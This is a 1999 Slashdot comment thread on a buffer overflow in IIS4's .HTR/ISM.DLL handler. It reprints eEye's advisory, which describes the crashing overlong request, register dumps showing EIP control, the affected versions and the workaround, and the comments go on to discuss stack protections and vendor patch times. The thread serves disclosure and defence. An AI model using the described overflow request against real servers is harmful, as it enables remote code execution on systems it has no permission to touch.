  • It seems to me that if we went back to a sane system in which DATA and STACK pages were never executable -- just readable and writable -- and TEXT pages were never writable -- just readable and executable -- that a lot of these problems would mysteriously evaporate. Oh, I can see how you could write incorrect data on the stack in a frame you shouldn't be doing that to (a caller's frame data), but at least you could never write code that would actually be executed. This would to my eye seem to raise the bar at the security gate to a non-trivially higher notch.
  • This is an evil I really wanted to blame on Lord Gates and the Wintel crowd, but the finger looks like it points back to rms et alios instead.

    Here's some bugtraq [sdsc.edu] discussion on removing the execute bits from the stack. A nicer reference in some senses is this fine paper [carleton.ca] describing a lot of technical details.

  • full text of the eeye advisory (Score:5)

    by Anonymous Coward on Tuesday June 15, 1999 @11:26AM (#1849401)
    Retina vs. IIS4, Round 2

    Systems Affected:

    Internet Information Server 4.0 (IIS4)
    Microsoft Windows NT 4.0 SP3 Option Pack 4
    Microsoft Windows NT 4.0 SP4 Option Pack 4
    Microsoft Windows NT 4.0 SP5 Option Pack 4

    Release Date:

    June 8, 1999

    Advisory Code:

    AD06081999

    Description:

    We have been debating how to start out this advisory. How do you explain
    that 90% or so of the Windows NT web servers on the Internet are open to a
    hole that lets an attacker execute arbitrary code on the remote web server?
    So the story starts...

    The Goal:

    Find a buffer overflow that will affect 90% of the Windows NT web servers on
    the Internet. Exploit this buffer overflow.

    The Theory:

    There will be overflows in at least one of the default IIS filtered
    extensions (i.e. .ASP, .IDC, .HTR). The way we think the exploit will take
    place is that IIS will pass the full URL to the DLL that handles the
    extension. Therefore if the ISAPI DLL does not do proper bounds checking it
    will overflow a buffer taking IIS (inetinfo.exe) with it and allow us to
    execute arbitrary code on the remote server.

    Entrance Retina:

    At the same time of working on this advisory we have been working on the AI
    mining logic for Retina's HTTP module. What better test scenario than this?
    We gave Retina a list of 10 or so extensions common to IIS and instructed it
    to find any possible holes relating to these extensions.

    The Grind:

    After about an hour Retina found what appeared to be a hole. It displayed
    that after sending "GET /[overflow].htr HTTP/1.0" it had crashed the server.
    We all crossed our fingers, started up the good ol' debugger and had Retina
    hit the server again.

    Note: [overflow] is 3k or so characters... but we will not get into the
    string lengths and such here. View the debug info and have a look for
    yourself.

    The Registers:

    EAX = 00F7FCC8 EBX = 00F41130
    ECX = 41414141 EDX = 77F9485A
    ESI = 00F7FCC0 EDI = 00F7FCC0
    EIP = 41414141 ESP = 00F4106C
    EBP = 00F4108C EFL = 00000246

    Note: Retina was using "A" (0x41 in hex) for the character to overflow with.
    If you're not familiar with buffer overflows a quick note would be that
    getting our bytes into any of the registers is a good sign, and directly
    into EIP makes it even easier :)

    Explain This:

    The overflow is in relation to the .HTR extensions. IIS includes the
    capability to allow Windows NT users to change their password via the web
    directory /iisadmpwd/. This feature is implemented as a set of .HTR files
    and the ISAPI extension file ISM.DLL. So somewhere along the line when the
    URL is passed through to ISM.DLL, proper bounds checking is not done and our
    overflow takes place. The .HTR/ISM.DLL ISAPI filter is installed by default
    on IIS4 servers. Looks like we got our 90% of the Windows NT web servers
    part down. However, can we exploit this?

    The Exploit:

    Yes. We can definitely exploit this and we have. We will not go into much
    detail here about how the buffer is exploited and such. Read the comments in
    the asm file for more information. However, one nice thing to note is that
    the exploit has been crafted in such a way to work on SP4 and SP5 machines,
    therefore there is no guessing of offsets and possible accidental crashing
    of the remote server. We have not tested the exploit on SP3 and would love
    to know if it works or not. eMail alert@eEye.com if you've successfully
    exploited this hole on SP3.

    For more details about the exploit visit the eEye web site at www.eEye.com

    The Fallout:

    Almost 90% of the Windows NT web servers on the Internet are affected by
    this hole. Everyone from NASDAQ to the U.S. Army to Microsoft themselves.
    No, we did not try it on the above mentioned. But it is easy to verify if a
    web server is exploitable without using the exploit. Even a server that's
    locked in a guarded room behind a Cisco Pix can be broken into with this
    hole. This is a reminder to all software vendors that testing for common
    security holes in your software is a must. Demand more from your software
    vendors.

    The Request. (Well one anyway.)

    Dear Microsoft,

    One of the things that we found out is that IIS did not log any trace of our
    attempted hack. We recommend that you pass all server requests to the
    logging service before passing it to any ISAPI filters etc...The logging
    service should be, as named, an actual service running in a separate memory
    space so that when inetinfo goes down intrusion signatures are still logged.

    Retina vs. IIS4, Round 2. KO.

    Fixes:

    1. Remove the extension .HTR from the ISAPI DLL list. Microsoft has just
    updated their checklist to include this interim fix.
    http://microsoft.com/security/products/iis/CheckLi st.asp
    2. Apply the patch supplied by Microsoft when available.
    http://microsoft.com/security

    Vendor Status:

    We contacted Microsoft on June 8th 1999, eEye Digital Security Team provided
    all information needed to reproduce the exploit. and how to fix it.
    Microsoft security team did confirm the exploit and are releasing a patch
    for IIS.

    Related Links

    Advisory - On our web site
    http://www.eEye.com/database/advisories/ad060819 99/ad06081999.html

    Advisory - Retina Brain File used to uncover the hole
    http://www.eEye.com/database/advisories/ad060819 99/ad06081999-brain.html

    Retina - The Network Security Scanner
    http://www.eEye.com/retina/


    Greetings go out to:

    The former Secure Networks Inc., L0pht, Phrack, ADM, Rhino9, Attrition, HNN
    and any other security company or organization that believes in full
    disclosure.

    Copyright (c) 1999 eEye Digital Security Team

    Permission is hereby granted for the redistribution of this alert
    electronically. It is not to be edited in any way without express consent of
    eEye. If you wish to reprint the whole or any part of this alert in any
    other medium excluding electronic medium, please e-mail alert@eEye.com for
    permission.

    Disclaimer:

    The information within this paper may change without notice. Use of this
    information constitutes acceptance for use in an AS IS condition. There are
    NO warranties with regard to this information. In no event shall the author
    be liable for any damages whatsoever arising out of or in connection with
    the use or spread of this information. Any use of this information is at the
    user's own risk.

    Please send suggestions, updates, and comments to:

    eEye Digital Security Team

    info@eEye.com
    www.eEye.com

  • Care to back that up with sendmail-8.8.5+? (Score:3)

    by maynard ( 3337 ) on Tuesday June 15, 1999 @11:28AM (#1849402) Journal
    With a properly configured sendmail-8.8.5 distribution, or above, I'd like to see you back this assertion up with some facts. Go ahead and show me how you'll crack a box with sendmail using a buffer overflow or other similar trick... you're not leaving sendmail in debug mode are you?

    Now by properly configured, I mean no configuration files down a path with group writable directories, no stupid scripts run out of the .cf, smrsh configured, and no DON'T_BLAME_SENDMAIL options blatently leaving your machine open to the world. The current release of Sendmail is 8.9.3, I haven't seen a CERT advisory on sendmail for some time, and Eric Allman keeps pumping out new bugfixes.

    This doesn't diminish the good work done by the qmail folks. However, if you want UUCP, BITNET relaying, or FIDO-NET support (which is CRITICAL in many third world countries) sendmail is your only option.

    Finally, your post is flame bait devoid of relevant information to the IIS security hole. Of course, this reply is also devoid of anything relevant to the IIS security hole found, but I thought it incumbant to reply to your misinformed banter.
  • (Microsoft has acknowledged the bug, so the first half of your question is complete.)

    I was curious just how quickly the ICMP attack took to fix, so here is my 5 minute investigation, it's taken longer to write this than research it. Kudos to the folks at Progressive Computer Concepts for their excellent mail list archives ( www.progressive-comp.com [progressive-comp.com]). I assume the date/times listed are in their local time.

    Bug Notice: Posted [progressive-comp.com] to Bugtraq by Piotr Wilkin 1 June 1999 15:43:17.

    Solution: Posted [progressive-comp.com] to Linux Kernel by Alan Cox, 1 June 1999 22:23:04. Also Posted [progressive-comp.com] to Bugtraq by Alan Cox, 1 June 1999 22:30:33.

    So, 6 hours, 39 minutes, 47 seconds from the time it was made public to solution (7.5 minutes more if you only monitored Bugtraq).

    And then this IIS bug, reported to Microsoft 8 June 1999, made public on Bugtraq [progressive-comp.com] at 12:18:16 today (15 June 1999). A week lead time, and no fix in sight.

    Security is the heart of any business that relies on its web page for income (order taking, etc). Now that it's been made public, I'm sure all the skript kiddies will be wreaking havoc this evening on as many servers as they can hit. Although, for completeness, I'd be interested in noting any servers that do get hit. The Wired article specifically mentions Nasdaq, Disney, and Compaq as running "large ecommerce operations" on IIS. I can't imagine how a large company could stick with it with such pathetic service from MS.

    Oh wait. I went to the security web site listed in the article, and MS has posted a workaround [microsoft.com], basically remove the .HTR extension from IIS (the post on Bugtraq lists .ASP and .IDC as being affected as well). The funny thing is their terminology and timeline. At the top it says, "Originally Posted: May 27, 1999." So they knew about it a whole 11 days before eEye told them about it. Posted where, you might ask? Who knows. But at the bottom of the page it says, "June 15, 1999: Bulletin Created." I presume that "bulletin created" means they put it on their web site. Even still, not only with a week's notice, but 18 days notice the bug is not fixed.

    Other inconsistencies in the notice, in the "What Microsoft is Doing" section, "Microsoft has released patches that fix the problem identified" (my bold). Oh, it's been fixed by golly. Then you go down to the "What Customers Should Do" section (be it 4 lines down, web design cracks aside) like they say next, what does it say? "A patch will be available shortly..." So it's fixed, but you cannot have it. This just makes my point even better. Why rely your business on them with this double-talk and no real solutions??

  • And with all that blinding speed, crackers can gain root faster than with any other server in existance.

    Now, that would be a funny benchmark to run (cracks per second)

Slashdot Top Deals

Hackers are just a migratory lifeform with a tropism for computers.

Close